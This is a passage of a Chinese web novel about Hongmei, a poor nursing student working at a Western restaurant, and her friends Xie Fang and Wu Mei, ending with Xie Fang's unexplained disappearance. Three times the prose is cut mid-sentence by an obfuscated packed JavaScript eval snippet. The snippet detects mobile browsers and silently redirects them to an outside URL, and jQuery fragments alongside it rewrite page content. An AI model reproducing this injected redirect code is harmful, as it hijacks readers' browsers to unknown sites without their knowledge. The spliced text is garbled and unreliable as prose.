“你一年来照顾我这么多,不如这样,等我有钱了,我请你去海南玩呀?” “好吧。那到时候我可要当导游的。” “我想,不会很久吧。最迟等到我们毕业?我一定攒下钱了。” “诶呀,我还真能让你请客呀?只要你学费够了,我们各自出自己的呀。” 二人拉勾,许下未来一起旅行的愿望。 临床医学系最后一科考试结束,谢芳继续陪着红梅复习,直到红梅必须去打工的日子才作罢。 “在哪打工?我陪你去吧?”打工前夜,谢芳忍不住问红梅,“毕竟你一个女孩子啊。” “欧式街,火车站不远,咱们附属医院西南方向。欧式街是全省城最繁华的地方了,应该不会出什么问题。” 这并没有说服谢芳,第二天,谢芳还是一大早地跑到宿舍找红梅。宿舍人都走光,回家过年,红梅过上了单人间的奢华待遇。冬日里寒风阵阵,谢芳围着红梅送她的围巾,也看着红梅给自己围上。 “我们像不像双胞胎啊?” 谢芳跟红梅在镜子里,大半个脸陷在围巾里,身高相仿,身型差不多,一眼看去,仿佛真如她所说。 红梅突然抬手给谢芳一个脑瓜崩,谢芳吃痛,反手轻轻拍打她:“你干嘛!!” “好好去你的海南玩,可别吃我这样的苦。大腊月的。”红梅笑嘻嘻道。 欧式街很大,是省城最繁华的地带,各式各样最新的东西尽在街道两边的百货大楼、商业门店陈列,甚至还有全然西式的钟楼坐镇在中央,彰显着奢华。在招人的西餐店也很好找,门口用大大铁皮围着,红色横幅写着“维多利西餐厅即将营业”。 “维多利?Victory?果然是西餐厅的取名?”谢芳歪着脑袋说,“但意蕴有点好笑了,胜利。开店大成功?” “看起来很贵,应该付得起他们声称的工资吧。”红梅的着重点却在别的地方。 “不过,英语,让我很快想到一个人啊……” “谁?” “你猜猜?” “英语……英国。”红梅思考一阵,得出答案,“南丁格尔吗?” “是啊,近代护理学和护士教育创始人,献身事业,终身未婚。在那个年代开创一个职业,真了不起啊。要知道外国历史上的女医生们,第一很难像男医生一样接受教育,第二很难得到公正的待遇,比如说,患者们不信任女医生,就不去找她们治病,所以无法维生,生活艰难。所以比起做医生这一行治病救人本身,她们不得不曲线救国:去研究药理学、免疫学、病理学、麻醉、神经生物学,或者干脆从政,推动女性在学业、就业的偏见。” 谢芳安静地看着西餐厅的牌匾,顿了顿道:“西医在西方国家,男女医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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西餐厅工资给得高,要求就更高:服务员必须用中英双语报菜名,菜则由十三道菜品组成。同一批面试的姑娘们仅有三人留下,其中就包括红梅。记住餐品本身不够,还要接受全面的西餐培训。于是一周下来,不仅没工作,餐厅反而付费给她们学习,对于红梅来说,简直无可挑剔。 工作稳定下来,谢芳也随父母踏上前往海南的火车,预备过一个旅行的新年。 红梅独自生活在宿舍,在宿管阿姨关照下,甚至过得十分快乐。孤独的时候,红梅就会打电话到村长家,告诉父母近况。 到除夕前几天,红梅经过教学楼,突然发现树木上结了几个白色的骨朵,最顶上一个开了花。 梅花? 红梅仰头努力张望,想要瞧个仔细,却有一点微凉的水滴落在她额头。她下意识擦拭着,低头看到更多来不及消失的花,绽放在地上。 下雪了,新年会丰收吧! 农历新年,电视里播放着春节晚会,红梅奔赴在西餐厅和宿舍之间。雪下了好几天,天地白蒙的一片,将梅花包裹其中,想要把它藏起来似的。 红梅每天都来看看。它是那么特别,在吹得人东倒西歪的风里纹丝不动,还执着地开了一树。 遥知不是雪,唯有暗香来。 在这无声的陪伴下,春节很快结束,红梅的打工也接近了尾声。 直到最后一天,红梅为一桌人上菜,并介绍英文名。烟雾缭绕的包间里,六七个男人衣着考究,其中一个体态稍胖的男子盯着红梅看了半天,突然叫了一声:“是你?” 红梅望去,心中一沉。 那正是月余不见的郭哥。 15. 照片 西餐厅对于顾客任何一句可能存在的疑问都有应对方案,但私人问题,可不会有谁替红梅回答。 她犹豫要不要装傻的功夫,郭哥就自顾自地说:“菲菲替你们辞职时候,说是你们不用钱了,学校让你们回去实习。原来跑这儿来打工了?” 红梅随即说:“不好意思,郭哥,走得着急。没跟您打招呼,我……” “你们无关紧要。倒是菲菲,后来也走了,最近见她没?” 菲菲听劝,也离开夜总会了? 这对红梅来说是好消息。尽管她们还是陌生人,同为女性,她下意识就替菲菲打掩护:“再没见过了,认识也是偶然。” “行,你下去吧,我们有事,后面不主动叫也别进来。” “明白。” 红梅将包厢门关上,才敢大口呼吸,生出劫后余生的惶恐。发自内心为邬眉感到开心,也为她的现状感到担忧。同事看她脸色不好,就替换她,叫她去后厨洗盘子。红梅躲在水池边一夜,到再也没有盘子传来,到经理宣布工作结束。 红梅在更衣室换掉餐厅的西服,看着所有顾客都离去,才敢踏出西餐厅的正门。她把大半张脸埋在围巾里,试图遮掩自己,一夜隐忧才逐渐浮现心头: 被郭哥发现了,学费也差不多够了,这份工作还要继续吗。 “你做贼了?” 一个人影支在前路,红梅抬头看,一个围着相同围巾的女孩站在那里。不是谢芳,而是没图眼影、口红,也没穿暴露身体连衣裙,普普通通棉衣棉裤,面目清秀可爱的人。 “邬眉?” 红梅认出她,开心一些,又赶忙上前把围巾鼓鼓囊囊给邬眉围上,遮住脸庞。 “你干嘛?”邬眉不明所以,被红梅围得透不过气,“真做贼那就赶紧跑,伪装成这样有什么用。” “郭哥到这家西餐厅吃饭了,就刚刚。”红梅压低声音,做贼似的,“你有地方去吗?安全的地方?” 邬眉没有立刻答上来,红梅了然,拉住她的手,走向学校。 走到大门,红梅刚想请求门卫大爷通融,大爷看一眼就让她们进门:“芳芳回来啦?” “过年好。” 红梅开口问好,牛头不对马嘴,大爷挥挥手。红梅拉着邬眉小跑,跑到教学楼才停下来。 红梅累得上气不接下气,邬眉解开几层围巾的束缚:“芳芳是谁?” “可能是因为围巾。记得我跟你说过,我用两块钱的毛线织了三个围巾的事吧?” “嗯。” “另一条我送给芳芳了。她是我在学校的好朋友,也是院长女儿,名字叫谢芳,全校教职工看着她长大的,也因为她,大家对我非常关照。” “她去哪了,你不怕冒名顶替被发现啊?” “她在海南过年,元宵节后才回来。” 邬眉撇撇嘴:“真好啊,含着金汤匙出生、众人拥戴的小公主?” 红梅不恼,认真解释:“她是个很好的人,跟你一样好。” “你对我了解多少,就敢这么类比?” “那就是,她对我很好,像你对我一样好。” “嘁。” 邬眉不置可否,四处打量,看到教学楼门口的树,脱口而出,“梅花?” “是梅花,我名字里的那个梅花,你认识呀。”红梅牵着她到树下,“我每天都来看看,像看着自己一样。不过这是白色的,没有红色的。” “白色不好吗?简简单单,纯洁无暇,不媚任何人。”邬眉随口答着,“推崇红色有什么意义呢?洋人眼里红玫瑰是我爱你,能求婚,把爱情当成天大的恩赐一样。血可也是红的。” “说得像是你讨厌我一样。”红梅不明所以道。 “啊呀,我又给小屁孩传输错误思想了。我道歉。”邬眉举双手投降,“然后呢,带我到处转转?” “好啊。” 大半夜零星落着雪,红梅牵着邬眉,从教学楼走到礼堂,从图书馆走到实验楼,连带小花园一一介绍。邬眉却被小广场旁的榜单吸引注意力。那是学校各系期末成绩光荣榜,谢芳的名字挂在临床第一,红梅则在护理系榜首。 “你成绩还不错。”邬眉左右看看,“谢芳也是第一。” 红梅不好意思起来:“我们经常在图书馆一起学习,虽然不是一个院系,但彼此督促也是好的。” 邬眉看一眼四层高的图书馆,视线落在屋顶的钟楼,跟随红梅回到宿舍,再也没开口。 宿舍是红梅的主场,红梅给邬眉打好热水、准备床铺,自己则想打地铺了。邬眉赶忙拦住:“周围都没人睡,有的是床位,你干嘛非要打地铺?” “那是别人的东西,不好。”红梅义正词严道。 邬眉无言,于是二人紧紧挤在红梅的床上,熄了灯。 又担惊又受怕,回到自己熟悉的地方,红梅的精神才渐渐放松:“你这段时间都在做什么啊?按时吃饭了吗?没再因为别人折腾自己吧?” “在夜总会辞职了,去别的地方打工,赚得少了。被男人追。没了。” “噢。”红梅安静了一会儿,又问,“你过年不回家啊?” “我爸妈死了,有个弟弟在念高中,今年考大学。房子给他买了,学费生活费也够两三年用,我再也不欠那个家什么了。年,我就自己一个人安安静静过吧。” “噢。”宿舍安静了一秒,又响起红梅的声音,“那你是不是可以学习了。上次你说,你想做的工作,学历不够,去不了。考试我最熟悉了,你想做什么,说说看,我说不定能派上用场呢?” “我想种地,你给我块地呗。” “我倒是有块地,村子里分的。”红梅好奇问,“你们村不分地吗?” “我爸妈死后,亲戚把我家的地都分走了,一开始只是收回我的地,说是不给女娃分,后来拿走弟弟名下的土地都没找由头。我和弟弟没得选。名义上归亲戚抚养,但那个亲戚想把我卖给邻村做媳妇,也不让我弟弟读书,说是没钱。所以我就带着弟弟逃进城了。对于城里人,我甚至还有利用价值,不是两百块彩礼就能打发……一切都太好笑了。” 邬眉轻描淡写,红梅却深知这些不易。她握住邬眉的手,邬眉反倒笑:“怎么,可怜我啊?” “不,你很坚强。我是佩服你。换成我,绝对不会有这种结果。你真棒。” 邬眉沉默一阵,说:“你就是太善良。善良不是错,但无法保护自己的善良,就是无能。在社会上混,首先要做的是明辨敌友,谨小慎微,达成目标。” “我记下了。但你还是没说,你想学什么?” “要是几年前,我或许还会想着学习吧。现在有个人在追我,我在考虑要不要嫁给他。所谓的结婚,就是找个男人,免费□□,生娃,吃喝拉撒,过日子。他说喜欢我,我没觉得怎么样,但是他说我以后可以不出去工作,帮我负担弟弟的生活费,倒是挺打动我。我累了。实在是累了。”邬眉笑道,“其实不止他一个追我,但他明白我要什么,另外那个不知道。商业是需求互换,人和人的关系,其实也是。结婚对我这条贱命来说,未必不是好事。” “我不知道。” 许久,红梅才说。 “你就没想过结婚?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004307|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们出身相似,所以,结婚对我而言,就是失去学习的机会,一辈子困在地里。为了摆脱那种命运,我要学到最后,得到房子,把爸妈带进城只是暂时的目标。我得一直前进才行。” “你想要的是男人的东西。” “我只是不明白,为什么男人生来就有的东西,女人总是得不到。我要平等地得到,之后的事情,就放在后面再想。” “真狂。” 未曾设想的评价从邬眉的嘴里说出,红梅笑起来:“不然我奋斗至今,为的是什么。成为大人物的女儿、儿媳吗,不,我要得到跟他们平等谈判的资格。所以我就要狂。” 沉默一阵,邬眉才开口:“我会看着你的。你得走得越来越远,飞得比谁都高。” “嗯。” 夜是危险的遮羞布,也是所有生命安眠的时刻。夜渐渐过去,红梅睡得很香,睁眼时邬眉已经穿好衣服,坐在她的书桌边,翻看一本书。 “早啊。” 红梅跟邬眉打招呼道,从床上坐起来。 “你的笔记把书缝都填满了,看来第一拿得没有水分。” “当然。唯独学习,我是不会落后的。”红梅骄傲道。 “今天打工吗?” “我在想,郭哥知道我在那打工,学费也快够了。我要不,先躲一阵子?” “那我陪你去请假。请完假,陪我去个地方。” 在邬眉帮助下,红梅成功向老板告假半个月。出了西餐厅,邬眉要去的地方也在欧式街,那是繁华街道的尽头,与破败居民区相邻地带的照相馆。红梅随邬眉进门,听邬眉与店主熟稔攀谈,四处打量,陌生的背景布,漂亮的连衣裙们。 “你要照相?” 店主去后门准备什么,红梅问邬眉。 “结婚证要这个,不然我也不会照。” 邬眉换上白衬衣,穿着黑西装,听店长指挥,微调着姿势,笑容含羞带俏,红梅发自心底觉得,邬眉真漂亮。 邬眉拍完,跟店长说了什么,就把红梅带到更衣室。 “我,我就不拍了吧!”红梅早就看到价目表,一套五块钱呢。 “店长送的,拍吗?” “拍。” 又是一套拍摄下来,等待照片洗出的时间,邬眉领红梅在欧式街到处逛。闪闪发光的首饰,时髦漂亮的衣服,乃至红梅从未试过的吃食——“冰激凌”。邬眉出钱,每样两份,公平公正。 然而任何时间都是有限的,取到相片,无论如何都要分别了。 邬眉忽然塞给红梅一张自己的照片和全部底片:“替我保存。” “好啊。”这不是什么难事,红梅没多想,一口答应,又问,“今天也跟我一起住吧?” “知道女人结婚的另一种好处吗?那就是,受了委屈,有人替你出头,打架。我要去对象那住了,别担心我,顾好你自己吧。” “要是他对你不好,你可以来找我。我们是朋友吧?朋友是没有血缘关系的亲人。别的做不到,起码你会有地方睡的。” “世上不会有无缘无故的坦诚,我们不是朋友,还能是什么呢?”邬眉看着红梅,微微笑着,“那是我挑的男人,就算不好,我也听天由命,愿赌服输。” 一条街就那么长,从头走到尾,二人再次分别。 回到学校,红梅揣着照片,看着教学楼前的梅花树,没由来地感伤。 突然,一个贝壳钥匙链横在眼前,白色的,彩色的纹络,层层叠叠,蔓延为一大片色泽。 “新年快乐!红梅!” 谢芳的声音近在耳边,无忧无虑,活力满满。 16. 寻常 “新年好,芳芳。” 红梅把贝壳握在手心,谢芳才坐在红梅身边,一同仰望梅花树:“开花了,这么快。” “是啊,一开始只有一朵,下了雪,反而越开越多了。” 谢芳半是遗憾地说:“我记得我说过,要帮你问红色梅花哪里有,园艺大爷不知道,所以……” “能见到梅花已经不错啦,我家只种能结果的树。梨花春天开,秋天就能吃了。” “那不是很好吗,又能观赏又能吃,一个不耽误。” 二人相视而笑。 “海南怎么样?”红梅自然地问。 “虽然现在是二月,气温天天将近三十度,大中午热得需要穿短袖短裤,差点晒脱皮。” 谢芳做个鬼脸。 “吃的东西嘛,鱼、虾、蟹这些海鲜,特产是香蕉、椰子、菠萝。海边很舒服,风像掺了盐,很咸,也很鲜,想在提醒你海里有生命在生活着。海浪会把贝壳海星吹上岸,可以去捡,离海岸不远开着很多海鲜烧烤店,或者贝壳的工艺品店,风一吹,丁零当啷的,很像风铃。海就像没有尽头那样,跟天空在尽头相连,偶尔飘来渔船,或者观光艇。可以游泳,也可以瘫在水里,胆子大的会冲浪……真想带你一起去玩啊。” “下次一起去。” “嗯!我也会当好导游的。” 谢芳视线落在她怀里的照片:“过年拍照做留念吗?” “是一位打工认识的朋友,她要结婚,申请结婚证需要照片。给我拍是顺带。” 红梅把邬眉的照片找出来给谢芳看。 “真漂亮。”谢芳连连赞美,“祝她幸福。” “我记得你不喜欢结婚啊?”红梅调侃道。 “婚姻,是对相爱的人最高的祝福。世上和和美美的夫妻多了,你看我爸妈,只是它不适合我。”谢芳把相片还给红梅,“如果世上没人生孩子,我这个妇产科医生岂不是毕业就失业。我还是很乐意看到恩爱的夫妻,生一个健康的孩子,一家人和和美美的大团圆故事的。” “是啊,平平淡淡,柴米油盐,那样的日子就很好。”红梅附和着。 谢芳眼睛一转:“真不知道我们红梅会找到什么样的男朋友呢?” “诶?我……我没想过。”红梅歪着头思索,没想出个所以然,“对我来说,男生们做到的,我都能做到,所以在我眼里,根本……” “原来是都看不上!我们红梅眼光好高!” “哎呀!芳芳!” 红梅脸红着要捶打谢芳,谢芳偏偏躲开,怕红梅打着似的,拔腿就跑。好胜心油然而生,红梅跳起来追自己的好朋友,二人在教学楼前跑起来,像风那么快。 欢迎的日子结束,在开学之前,红梅买了火车票,买了旅行箱,给父母买了新衣服,就踏上回乡的旅途。火车换班车,班车换驴车,张大爷载着红梅回家,红梅一路上答着半年来的见闻,听着大爷的嘱托,照旧在熟悉的地方下车。 她提着行李箱回家。 沿途曾经的干涸被冰晶覆盖,融成一滩又一滩泥泞。泥泞并不体面,但这里不需要体面,生是最基本的门槛。石头和枯草野蛮地横平竖叉,脚印一瞥一划地,指向了家的方向。 在越来越盛的喜悦下,红梅看到了房顶,和屋檐下的鸟窝。 到家了。 春节刚过,村里恢复往日的热闹,从红梅出现在村口起,七大姑八大姨便知晓了:她们好是热情地把她回家的消息传向角角落落,告知每一个活物。热情来自新年,也来自崭新的希望。年龄相仿的姑娘妇女们带着孩童问好,也是打探,从红梅对大学生活的叙述里,窥伺另一条道路的一角。无论是艳羡、鄙夷,红梅照单全收,解答完所有疑惑,才最后踏入家门。 “爸!妈!” 刚转进院子,红梅习惯性叫着,却看到红梅妈小跑着迎接她,神情激动:“回来啦。” “嗯。” 红梅爹只是笑,接过红梅手里的箱子,一家三口欢欢喜喜回家去。 没什么变化。 红梅爹把箱子往炕上一放,红梅妈便去了灶台。火炉暖烘烘的,将肉味散播到家的每一个角落,映着门窗上的红色装饰,和门上一九九三年的挂历,生出富贵吉祥的裕余来。 “红梅吃饭啦。” 红梅妈招呼着,红梅爹将碗筷收拾好,红梅也落座,一家三口便围坐起来,说着一年的收获。 红梅爹把手伸向内兜,三十多块钱便摆在红梅眼前。红梅愣神的当儿,红梅爹解释道:“我和你妈在城里打零工,工厂的零时工,没编制,不过也能蹭吃蹭住的。这些钱,你拿去学校花,好好买几身新衣服,大学生了,咱们不求气气派派,也能体体面面的。钱的事儿,你别着急上火。过完年我和你妈再去打个工,干到开春,咱们地里种子化肥的钱就也有了。能种地,咱就啥也不愁。” 红梅妈应着,让红梅收钱:“咱就好好学,做对社会大有用处的人,钱的事情爹妈扛着,啊。” 这可就…… 红梅嘬着筷子头,红烧鸡肉的汤汁润进喉咙底,给了她奇异的勇气。 于是,她在兜里摸索一阵,摸出两百多块;又打开行李箱,给爹妈的外套铺在炕上,崭新的衣裳,标签都没摘掉,看得红梅爹妈直瞪眼。 “你哪来的钱?”红梅爹问。 “你找对象啦?对象给的?”红梅娘说。 红梅把隐瞒的两端打工,以结果的形式告诉了父母,当然,略去那些黑暗的地方:“……总而言之,我现在攒了二百多,下学期再省省,大二的学费就不愁了……今年我是我们系第一,听说如果我能保持第一的成绩,等到明年可以申请奖学金。奖学金一年五百,管够大三大四所有费用啦。我一路上回来,见着地头,情势相当不错。我好好读书,你们好好种地,我们一起努力,得到好结果吧。” 告诉父母时,红梅满是喜悦的,骄傲的,她求表扬似的扬着头。父母却突然噤声,低头瞧着饭菜,让红梅高点的心情陡然坠落,落到水井深处,冰拔凉。 袅袅上升的饭菜香味里,红梅突然觉得该道歉,却不知道为什么。她愣愣坐在原处,犯错似的蜷起身子骨,一滴液体落在菜里,她惊愕望去,是红梅妈捂着嘴,泪不住地流。 泪盈在红梅眼中,她忙坐过去:“妈,你哭什么啊……妈……” 红梅妈哽咽着开口:“红梅啊,做得好啊,打工能赚这么多,学习也没耽误……是爹妈太没用,让你吃这种苦啊……你知道村长儿子每个月花多少钱吗……三十多块啊……” 红梅爹红着眼眶,捂着眼睛。红梅妈很想对女儿笑,挪开手,笑容却比哭都难看。红梅再忍不住,扑进妈妈怀里,泪满衣裳。 年总是崭新的。 红梅爹妈试了衣服,刚好合身,红梅美滋滋地等夸,却没想到自己也有新衣裳:一件新棉服,一套新西装。红梅妈只说这是流行,打工的厂子里可流行这种衣服。一家人没开开心心地去走家串户,跟亲戚拜年,一套流程下来夜深了,缩在被窝里,无梦闲适地度过。 第二天,红梅继续跟父母讲她的新朋友:谢芳和邬眉。 一张照片,加一个贝壳。红梅爹看完,红梅妈揣着观摩。 “这姑娘真漂亮,幸好离开家了,不然一两百块彩礼,就在地里,糟蹋啦。”红梅妈叹息道,“嫁人也好,自己选的,一定没问题。” “也不好说。这女娃,能赚钱,也要强。要是以后有啥事需要你,你就去帮帮,帮不了,听听话也是好的。”红梅爹嘱咐着。 “啥时候领家里来,一起吃顿饭,包个红包啊。” 邬眉的照片就这样,跟红梅的新照片,被红梅爹妈夹在家里的相框里。一个可爱,一个漂亮。 贝壳还在红梅手里,被激励着,将来用它系城里房子钥匙。村里的房子可几乎不上锁的。 红梅不知道,对于家里人的自作主张邬眉会怎么想。但她还有底片,想洗多少,就洗多少。回到学校里,总能再洗好几张出来。 再逗留几天,红梅揣着回时的钱,连同父母一再要求、最终妥协拿了十块的钱,踏上了返回学校的火车。 离开学还很早,但她需要向西餐厅销假,再去跟老板谈谈,开学后的打工要怎么做。当然,这些她没跟父母说。 驴车,班车,火车,省城车站,一路走回医学院。熟悉的景色再次映入眼帘,她特地绕到教学楼前,半凋落的花瓣们预示着冬天的终结,也昭示着春天的开始。红梅拖着行李箱,回到宿舍,倒头就睡了。 到西餐厅报到成功,又打了一周工。 开学在即,红梅跟经理提出只打周末班的申请,意料之中被拒绝。 这没什么,红梅早就做好心理准备,高昂的工资是为了完美的服务,但她不能耽误学业。学业是所有行为的最终目标,是留在省城的工作,是一定能拿到的房子。 只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004308|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给钱就行,差别只是给得比现在少多少。还有讨价还价的空间,差别是,这空间有多大。 红梅小心翼翼揣测经理的脸色,读出不耐烦、犹豫和暴躁。 果然,经理细细碾着烟头,慢慢开口,不急不躁:“你把我这当信用社是吗?当初开业是开业,急用人,你确实干得不错,该给奖金我少你一分钱了吗?还全都是去银行换的新钱呢。但是,现在已经不是刚开业那会儿了。要是你继续做全职,那还跟以前一样,你学业跟我有什么关系?你要是想兼职,可就没那么舒服,想清楚。” “如果有我能做的周末工,我接受。” 烟头被经理碾来碾去,露出焦黄的丝线,绽放成堕落的花。 “你到底为什么需要打工?” “我家农村的,我要给自己赚学费,才有书读。再做半年,我就不用做了。以后就能安心读书了。如果还有我位置的话,我一定会尽力去做。拜托了。” 经理审视的目光传来,红梅毫不示弱。 又过了许久,经理才说:“我们现在准备开发上门的业务,配置一个厨师俩服务生,专车接送。如果你还想干,那就给你排到这个班里。但是,这个业务不是每天都有,更别说你一个周末工。所以我不会给你固定工资,纯提成,百分之零点五,能干就干,不能干别干。” 在这家西餐厅消费的人,一顿少则二百,多则上千,即使是百分之零点五,也是起码一块钱往上走的水平。红梅几乎立刻就答应了,留下宿舍楼的座机,等待经理召唤。 确实如经理所说,从申请到开学后,一通电话都没有。这段时间,红梅就随谢芳一起窝在图书馆,预习下学期课程,节省地花钱,以及等待新的额外收入来临。 打工的事情她没有瞒着谢芳。 对此谢芳表示,红梅像一个灰姑娘,等着一场舞会。 “钱总是越多越好的嘛。” 对此,红梅如此表示。 惊喜总会来临,正如意外,也横冲直撞地袭来。 初春天气变幻,冬寒不遗余力,流感就容易发生。到校的学生们一波接一波地倒下,被电话通知“晚上十点到”时,红梅也发着烧,被谢芳从宿舍送到校医室。 离上班还有三个小时,红梅吃过药,躺在床上,指望很快就好。昏昏沉沉睡去,拜托谢芳到点叫醒她。她睡着,也没真正睡着,她感觉到意识飘飘忽忽,感觉到谢芳为她换毛巾,冰凉的触感覆在额头,清醒一秒钟,接着被不知名的手拉下去,沉沉浮浮。 时间到了,红梅依旧发着烧。 “我得去……”红梅喃喃说着,想要从床上爬起来,却连手指都抬不动。 “你这发着烧,再严重点,我就得叫咱们附属医院的救护车了。你还怎么去啊。”谢芳劝阻道。 “……他们还欠我的钱,说是……跟这次一起给,看我表现……再看以后要不要……雇我。”红梅艰难地咽下干沫,“不能去的话,我……” 谢芳叹口气。 眼看着红梅又要挣扎,谢芳终于说:“这次我替你去吧,帮你保住工作。” “可是……” “别担心安全问题,我叫上我表哥,他在读军校,还没开学。有他保护我,没问题的。” “可是……” “担心我的胜任能力?嗯……我上周去维多利吃过饭,抱歉没告诉你,因为是跟那个娃娃亲对象一起去的。为了不丢人,西餐礼仪也学过了。所以这方面也没问题。” “可是……” “退一万步想,你也去不了,工作本来就要丢,我替你一夜有什么呢?不就是服务别人吃饭嘛,没事的。” “可……” “我是谁啊,我可是谢芳。你就什么也别想,好好睡觉。明天病好了,就是对我最大的回报。实在过意不去,就请我在咱们餐厅吃饭。就这样?” 谢芳牵起红梅动弹不得的手,跟她的小手指柔软地拉拉勾。校医室门便在谢芳的道别声里关上了。 红梅沉沉地睡去。 *** “后来的多少年,我无数次问自己。我为什么一定需要那份工作,为了得到那份工作,我为什么一定要用示弱的手段。 “告诉一个陌生人自己的家底,到底能引来怜悯,还是觊觎。 “无论我得到多么详尽的答案,都是后来的事情。 “那时的我尚且不知,我永远明白,却也永远无法原谅自己。” 17. 传闻 红梅醒来,是在第二天中午。 午后的阳光懒洋洋地洒在地上,浸染病床周遭的白色帘幕。红梅望着天花板,歪斜一刀光彩,教她渐渐回神,疾病初愈的身体虚脱似的,饥饿又乏力,仅仅坐起身,都要比往常困难。 校医室人多起来,她听着一帘之隔的女孩们聊天。 “今年倒春寒怎么这么严重啊,咱们班好几个都病了。” “你也离我远点吧,传染给你怎么办,耽误上课。” “那岂不是正好!我好想偷懒不上课啊……” “呸,净瞎说。” 老师道:“安静点儿,这是校医室,别打扰别人休息。” “好!”女孩们应着,转而更加细密的窃窃私语。 红梅听着隔壁的咕唧悄悄扬起嘴角,想起谢芳。帘幕一角被掀起,她心头雀跃,却是校医室的女老师拿着温度计进来。体温回到正常值,看到红梅气色孱弱,于是女老师问:“你退烧了,可以回去了。但是你脸色不太好,要不打个营养针?” “多少钱?”红梅小心翼翼问。 “三块。” 红梅感觉精神振作了不少:“还是不麻烦了……可以给我一杯糖水吗?我休息一下,去食堂吃饭吧。” 女老师答应,不多时就把红糖水端给她。 粽红的液体入口,还有姜味,她饱是感激地说:“谢谢老师。” “你太瘦了,去食堂好好吃饭,多吃蛋白质和红肉。” “谢谢老师关心,我会的。请问芳芳回来过吗?谢芳?” “没见。” 姜的辛辣和糖的能量遍及全身,红梅把杯子还给校医室老师。在食堂破天荒地吃撑,傍晚她到和谢芳惯常学习的位置,直到图书馆闭馆,都没等到谢芳。 最后一个踏出图书馆门,红梅隐隐觉得奇怪:谢芳如果有事不来学习,向来都会提前告诉她。 是西餐厅的工作没有保住,不好意思来见她? 没关系的呀,她们什么关系,工作可以再找,更何况学费已经没那么紧迫了。 是感冒了? 被她传染了?在家休息吗? 她不知道谢芳家的电话,没有办法问,除非谢芳主动打给宿舍的公共电话,指明让她接听。 还是出事了? 可是在西餐厅点□□的人,经济条件不会差,起码不会为难人吧。 不管什么事……哪怕无法解决,她起码能听她抱怨,还是别的什么,她能派上用场的地方,还是有的。 裹一身寒冷回到宿舍,她带着踌躇入睡,想,明天就能见面了吧? 谢芳从来不会缺席课堂的! 安慰着自己,红梅进入梦乡。 梦里是下雪的二月,她站在梅花树下,抬头望着枝头,像忘记了时间。 睁眼又是新的一天。 红梅白天上课,夜晚到图书馆自习,依旧没有等到谢芳。 一个疑问在心头徘徊:到底怎么了? 事情格外反常起来,于是第三天,红梅拿着谢芳的课表,去教室门口等她。下课铃声准时响起,到人群几乎清散殆尽,她都没看到谢芳,唯有挂名表哥一脸意外,前来问候:“好久不见啊表妹,找谁?” “谢芳,你看到她了吗?”红梅急切地问。 “她三天没来了,好像跟老师请过假,同学问起来,都说有事。”刘勇读出红梅脸上的愁,调侃道,“怎么了,掰了?我倒是不意外,班里跟谢芳走得近的女生,大多家境都跟她一样好,吃穿住行可都是进口货。人以类聚这个道理大家都懂,早点脱离脆弱的小女孩友谊,找个好男朋友嫁了多好,你说是吧。” 胃里一阵翻腾,红梅压下反酸的烦躁,冷静地说:“告辞。” 她扭头就走,把刘勇满带恶意的“想通了记得找我”甩在身后。 男人们的谈资,可以是游戏电影,因为他们能聚在一起消费;可当话题转到女人身上,表面谈的是爱情,根本上谈的是□□和子宫,是另一种长在女人身上的消费品。夜总会的人用钱买,道貌岸然的人用爱情买,差别仅仅是这个。在刘勇眼里,她是一个可以拿来上供的、干净的消费品,可以让他拿去换更大的利益的东西。 算盘已经响成警铃,她无可遏制地,厌恶他。 至于他嘴里什么小女孩友谊,更是不足为虑的挑拨。 谢芳是什么人,她比任何人都清楚:一个怀有崇高理想的医生,一个乐于助人的挚友,一个坚定不移的战士。 但她的朋友倒在了哪里,她现在必须搞清楚。 于是她在校园奔走,问以前她和谢芳一同遇到过的老师们,大部分老师对校长一家并不亲近,跟谢芳也只是表面客气,就无从得知谢芳的动向,更别说谢芳家的电话。 线索剩下不多几个:去医院找谢芳妈妈、去校长室直接找谢芳爸爸,或者任何学校高层,搞到谢芳家的地址。 尽管计划如此,她每每去到校长室,都无人办公;找到医院,却被告知吴莲医生最近请假;红梅拿到了谢芳家的电话,打过去却无人接听。 一切都很不对劲。 但她没有任何办法。 谢芳的陡然失踪,让红梅恢复了独来独往的日子。这没什么,初中、高中她都是这样过来的,没有消费就没有社交,这很正常。她甚至这么想:如果谢芳突然开悟,想要换一些朋友,她也可以接受:她对她足够好了,有过这样一位知心好友,怎样都不会是遗憾。 她只是担心,好友的异常,是不是跟她有关。 如果是的话……如果是的话。 她该怎样负责这一切啊? 谢芳不到校的时间,逐渐从一周变为了半个月,红梅也不知疲倦,到处找校长、谢芳的母亲,或是守着宿舍电话,定时定点拨打。 但始终没有得到答案。 担忧成为没有尽头的事,一天天累积成阴郁。她越发变得只会读书,学完就变得自闭,没有可以说话的人,也对任何事都不关心。 自然也就无从觉察,一些隐约的排挤。 